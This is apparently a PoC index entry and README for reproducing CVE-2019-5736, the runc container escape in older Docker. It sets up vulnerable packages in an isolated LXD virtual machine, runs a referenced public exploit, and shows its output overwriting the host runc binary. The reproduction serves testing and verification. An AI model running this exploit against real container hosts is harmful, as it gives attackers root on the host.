CVE-2019-5736 PoC — Docker 操作系统命令注入漏洞

Source

https://github.com/takumak/cve-2019-5736-reproducer

Associated Vulnerability

Title:Docker 操作系统命令注入漏洞 (CVE-2019-5736)
Description:runc through 1.0-rc6, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.

Readme

# [CVE-2019-5736] reproducer

This allows you to confirm [RunC-CVE-2019-5736] works on your KVM instance.

[RunC-CVE-2019-5736]: https://github.com/twistlock/RunC-CVE-2019-5736
[CVE-2019-5736]: https://nvd.nist.gov/vuln/detail/CVE-2019-5736

## Workflow overview

* Build the `docker.io` related packages vulerable to [CVE-2019-5736] in this repo
* Launch an Ubuntu 18.04 KVM instance on LXD
* Install the vulnerable `*.deb` packages in the VM
* Try the procedure introduced at [RunC-CVE-2019-5736]

## Build vulnerable `*.deb` packages

```bash
$ docker-compose build --no-cache
$ docker-compose run build
```

## Prepare [RunC-CVE-2019-5736] source tarball

```bash
$ git clone https://github.com/twistlock/RunC-CVE-2019-5736.git
$ tar cjf RunC-CVE-2019-5736.tar.bz2 RunC-CVE-2019-5736
```

## Launch an Ubuntu 18.04 KVM instance on LXD

```bash
$ lxc launch --vm images:ubuntu/18.04 test-cve-2019-5736 -c limits.cpu=4 -c limits.memory=4GB
$ lxc file push deb/*.deb RunC-CVE-2019-5736.tar.bz2 test-cve-2019-5736/root/
$ lxc exec test-cve-2019-5736 bash
root@test-cve-2019-5736:~# sed -i -e '/bionic-updates/s/^/#/' -e '/bionic-security/s/^/#/' /etc/apt/sources.list
root@test-cve-2019-5736:~# apt update
root@test-cve-2019-5736:~# apt install iptables libltdl7
root@test-cve-2019-5736:~# dpkg -i containerd_0.2.5-0ubuntu2_amd64.deb docker.io_17.12.1-0ubuntu6_amd64.deb runc_1.0.0~rc6+git20181203.96ec2177-0~ubuntu2_amd64.deb
```

Note that you should use `images:ubuntu/18.04` instead of `ubuntu:18.04` because the `lxc exec` command doesn't work properly with the latter one.

## Reproduce [RunC-CVE-2019-5736]

```bash
$ lxc exec test-cve-2019-5736 bash
root@test-cve-2019-5736:~# tar xf RunC-CVE-2019-5736.tar.bz2
root@test-cve-2019-5736:~# cd RunC-CVE-2019-5736
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker build -t cve-2019-5736:exec_POC ./exec_POC
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
92b965383f377419f3dad7cec45e468a4c4a83e82e11a2f2e0e23803016e2840
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker exec poc_ctr bash
No help topic for '/usr/bin/bash'
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# /usr/bin/docker-runc

**THE ALL NEW AND IMPROVED RUNC**

        [+] Your backdoor here ->

root@test-cve-2019-5736:~/RunC-CVE-2019-5736# 
```

## Appendix

* Fix commit: https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b

File Snapshot


 [4.0K]  /data/pocs/150582f62306d0a72440f9ced873216d032eb475
├── [4.0K]  deb
├── [ 180]  docker-compose.yml
├── [4.0K]  dockerfile
│   └── [ 632]  Dockerfile
├── [ 18K]  LICENSE
├── [2.4K]  README.md
└── [4.0K]  scripts
    └── [ 373]  build.bash

3 directories, 5 files

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